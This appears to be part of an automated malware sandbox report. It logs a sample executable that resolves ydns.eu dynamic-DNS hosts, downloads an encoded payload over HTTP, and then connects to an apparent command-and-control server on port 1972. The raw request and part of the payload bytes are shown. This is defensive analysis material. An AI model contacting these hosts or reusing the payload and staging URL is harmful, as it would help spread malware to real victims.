                                  Sep 5, 2023 22:21:00.112257957 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.112271070 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.112303972 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.112309933 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.112349033 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.112354994 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.112396002 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.112404108 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.112442017 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.112447977 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.112489939 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.112493038 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.112535000 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.112540007 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.112580061 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.112585068 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.112627029 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.112631083 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.112682104 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.112689972 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.112724066 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.112730026 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.112772942 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.340636015 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.340706110 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.340755939 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.340802908 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.340847969 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.340847015 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.340847969 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.340847969 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.340893984 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.340914011 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.340944052 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.341064930 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.341097116 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.568837881 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.568965912 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569029093 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569027901 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.569077969 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569092035 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.569092989 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.569122076 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.569127083 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569174051 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569176912 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.569221973 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569226027 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.569268942 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569312096 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.569315910 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569363117 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569406033 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.569408894 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569456100 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569498062 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.569502115 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569550037 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569593906 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.569597006 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569643974 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569686890 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.569689989 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569730997 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.569775105 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.797554970 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.797621965 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.797698021 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.797760010 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.797792912 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.797823906 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.797853947 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.797887087 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.797950983 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.797965050 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.798012018 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798074961 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798088074 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.798137903 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798196077 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798209906 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.798259020 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798321009 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798333883 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.798383951 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798444033 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798449993 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.798504114 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798568010 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798569918 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.798625946 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798686028 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798691034 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.798744917 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798811913 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798818111 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.798871040 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798928976 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.798943996 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.798990965 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799050093 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799056053 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.799110889 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799170017 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799176931 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.799231052 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799289942 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799290895 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.799350977 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799410105 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799415112 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.799506903 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799566031 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799571037 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.799628019 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799685955 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799690962 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.799757957 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799818993 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.799819946 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799881935 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799937963 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.799945116 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.800004005 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800059080 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800065041 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.800122023 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800180912 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800183058 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.800245047 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800304890 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.800307035 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800367117 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800422907 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800430059 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.800487041 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800545931 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.800545931 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800607920 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800666094 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.800668001 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800728083 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800786018 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.800791979 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800899029 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800960064 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.800981045 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.801019907 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801071882 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.801079035 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801160097 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801217079 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801220894 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.801279068 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801332951 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.801340103 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801402092 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801460028 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.801460028 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801522970 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801580906 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.801583052 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801645041 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801702023 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.801707029 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801768064 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801830053 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.801832914 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801897049 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.801954031 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.801956892 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802021027 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802078962 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.802079916 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802143097 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802201986 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802202940 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.802263021 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802323103 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802323103 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.802383900 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802444935 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802448988 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.802506924 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802563906 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802566051 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.802625895 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802690029 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.802695036 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802755117 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802813053 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.802819014 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802881002 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802937031 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.802942991 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.803000927 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803057909 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803064108 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.803122997 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803175926 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.803184986 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803246975 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803311110 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.803313017 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803383112 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803437948 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803447008 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.803529978 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803592920 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803594112 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.803653002 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803714991 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803751945 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.803772926 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803839922 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803847075 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.803900957 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803966999 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:00.803973913 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:00.899249077 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.032344103 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.032417059 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.032478094 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.032507896 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.032507896 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.032577038 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.260504007 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.260669947 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.260752916 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.260787964 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.260833025 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.260858059 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.488964081 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.489048004 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.489098072 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.489144087 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.489176035 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.489176989 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.489176989 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.489190102 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.489228964 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.489228964 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.489240885 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.489288092 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.718817949 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.718898058 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.718946934 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.718943119 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.719010115 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.719010115 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.719010115 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.719059944 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.719070911 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.719106913 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.719115019 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.719161987 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.719166994 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.719208002 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.719218969 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.719255924 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.719264984 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.719305038 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.719310999 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.719352007 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.719357014 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.719399929 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:01.719409943 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:01.719463110 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:04.963874102 CEST804970881.161.229.9192.168.2.4
                                  Sep 5, 2023 22:21:04.964075089 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:05.646729946 CEST4970880192.168.2.481.161.229.9
                                  Sep 5, 2023 22:21:49.603327036 CEST497071972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:21:50.227055073 CEST497301972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:21:50.453464031 CEST197249730193.42.32.61192.168.2.4
                                  Sep 5, 2023 22:21:50.453687906 CEST497301972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:21:51.253664970 CEST497301972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:21:51.492319107 CEST197249730193.42.32.61192.168.2.4
                                  Sep 5, 2023 22:21:51.540800095 CEST497301972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:21:51.767170906 CEST197249730193.42.32.61192.168.2.4
                                  Sep 5, 2023 22:21:51.783859968 CEST497301972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:21:52.066225052 CEST197249730193.42.32.61192.168.2.4
                                  Sep 5, 2023 22:21:52.066416979 CEST497301972192.168.2.4193.42.32.61
                                  Sep 5, 2023 22:21:52.347965002 CEST197249730193.42.32.61192.168.2.4

                                  UDP Packets

                                  TimestampSource PortDest PortSource IPDest IP
                                  Sep 5, 2023 22:20:41.582685947 CEST5381953192.168.2.48.8.8.8
                                  Sep 5, 2023 22:20:41.961239100 CEST53538198.8.8.8192.168.2.4
                                  Sep 5, 2023 22:20:46.337424994 CEST6031653192.168.2.48.8.8.8
                                  Sep 5, 2023 22:20:47.062622070 CEST53603168.8.8.8192.168.2.4
                                  Sep 5, 2023 22:20:56.427208900 CEST5181653192.168.2.48.8.8.8
                                  Sep 5, 2023 22:20:56.809474945 CEST53518168.8.8.8192.168.2.4
                                  Sep 5, 2023 22:21:49.649444103 CEST5438853192.168.2.48.8.8.8
                                  Sep 5, 2023 22:21:50.043793917 CEST53543888.8.8.8192.168.2.4

                                  DNS Queries

                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                  Sep 5, 2023 22:20:41.582685947 CEST192.168.2.48.8.8.80x59b0Standard query (0)wsvdyhrgebwhevawe.ydns.euA (IP address)IN (0x0001)false
                                  Sep 5, 2023 22:20:46.337424994 CEST192.168.2.48.8.8.80x1530Standard query (0)tornado.ydns.euA (IP address)IN (0x0001)false
                                  Sep 5, 2023 22:20:56.427208900 CEST192.168.2.48.8.8.80x6204Standard query (0)wsvdyhrgebwhevawe.ydns.euA (IP address)IN (0x0001)false
                                  Sep 5, 2023 22:21:49.649444103 CEST192.168.2.48.8.8.80x3d44Standard query (0)orifak.ydns.euA (IP address)IN (0x0001)false

                                  DNS Answers

                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                  Sep 5, 2023 22:20:41.961239100 CEST8.8.8.8192.168.2.40x59b0No error (0)wsvdyhrgebwhevawe.ydns.eu81.161.229.9A (IP address)IN (0x0001)false
                                  Sep 5, 2023 22:20:47.062622070 CEST8.8.8.8192.168.2.40x1530No error (0)tornado.ydns.eu193.42.32.61A (IP address)IN (0x0001)false
                                  Sep 5, 2023 22:20:56.809474945 CEST8.8.8.8192.168.2.40x6204No error (0)wsvdyhrgebwhevawe.ydns.eu81.161.229.9A (IP address)IN (0x0001)false
                                  Sep 5, 2023 22:21:50.043793917 CEST8.8.8.8192.168.2.40x3d44No error (0)orifak.ydns.eu193.42.32.61A (IP address)IN (0x0001)false

                                  HTTP Request Dependency Graph

                                  • wsvdyhrgebwhevawe.ydns.eu

                                  HTTP Packets

                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  0192.168.2.44970681.161.229.980C:\Users\user\Desktop\Fnvtdhenapsfwu.exe
                                  TimestampkBytes transferredDirectionData
                                  Sep 5, 2023 22:20:42.195539951 CEST94OUTGET /goofeeewsvd/Fnvtdhenaps HTTP/1.1
                                  Connection: Keep-Alive
                                  Accept: */*
                                  User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                  Host: wsvdyhrgebwhevawe.ydns.eu
                                  Sep 5, 2023 22:20:42.421928883 CEST94INHTTP/1.1 200 OK
                                  etag: "f1cf4-64f6c9f5-17cb2e;;;"
                                  last-modified: Tue, 05 Sep 2023 06:25:57 GMT
                                  content-length: 990452
                                  accept-ranges: bytes
                                  date: Tue, 05 Sep 2023 20:20:42 GMT
                                  server: LiteSpeed
                                  connection: Keep-Alive
                                  Sep 5, 2023 22:20:42.422004938 CEST96INData Raw: 4d 7a 45 79 4c 6b 6b 2b 42 50 38 71 53 53 78 51 43 67 72 2f 53 53 77 74 4c 67 6b 76 4d 7a 45 79 43 67 6f 73 53 53 30 73 50 6b 41 74 4c 43 70 4a 44 78 45 56 44 78 77 59 47 41 38 68 49 79 45 65 49 52 67 66 44 68 30 6a 48 78 4d 57 45 43 49 54 45 77
                                  Data Ascii: MzEyLkk+BP8qSSxQCgr/SSwtLgkvMzEyCgosSS0sPkAtLCpJDxEVDxwYGA8hIyEeIRgfDh0jHxMWECITEw0cDyAcJSMQDg8aDxMPGBUhDRMYIBglGBIkGBsTFhENDhsVHhAWDQ8REBAQHxggECAZIhoMECAYEyIaDhUTHhkcHiUXGxgVDBEzMTIuST4E/ypJLFAKCv9JLC0uCS8zMTIKCixJLSw+QC0sKklPGSEfDxMQGQwbHjM
                                  Sep 5, 2023 22:20:42.422024012 CEST97INData Raw: 65 74 74 4c 61 34 74 37 65 33 70 71 2b 6e 74 36 65 77 71 62 47 7a 74 36 65 76 71 71 6d 78 74 61 79 71 70 62 43 6a 70 5a 79 75 6f 71 2b 73 73 37 69 32 75 4b 79 32 6f 36 2b 76 74 71 69 61 71 4b 57 6f 72 36 61 31 70 4a 71 6d 71 71 32 33 71 61 71 71
                                  Data Ascii: ettLa4t7e3pq+nt6ewqbGzt6evqqmxtayqpbCjpZyuoq+ss7i2uKy2o6+vtqiaqKWor6a1pJqmqq23qaqqtKO2p6Ocmre1trG2qravrKi0qq+nr5yvuZuvoqqtuLS1oqylt620tri3t7emr6e3p7CpsbO3p6+qqbG1rKqlsKOlnK6ir6yzuLa4rLajr6+2qJqopaivprWkmqaqrbepqqq0o7ano5yat7W2sVU39d3v8+4K2vXvV
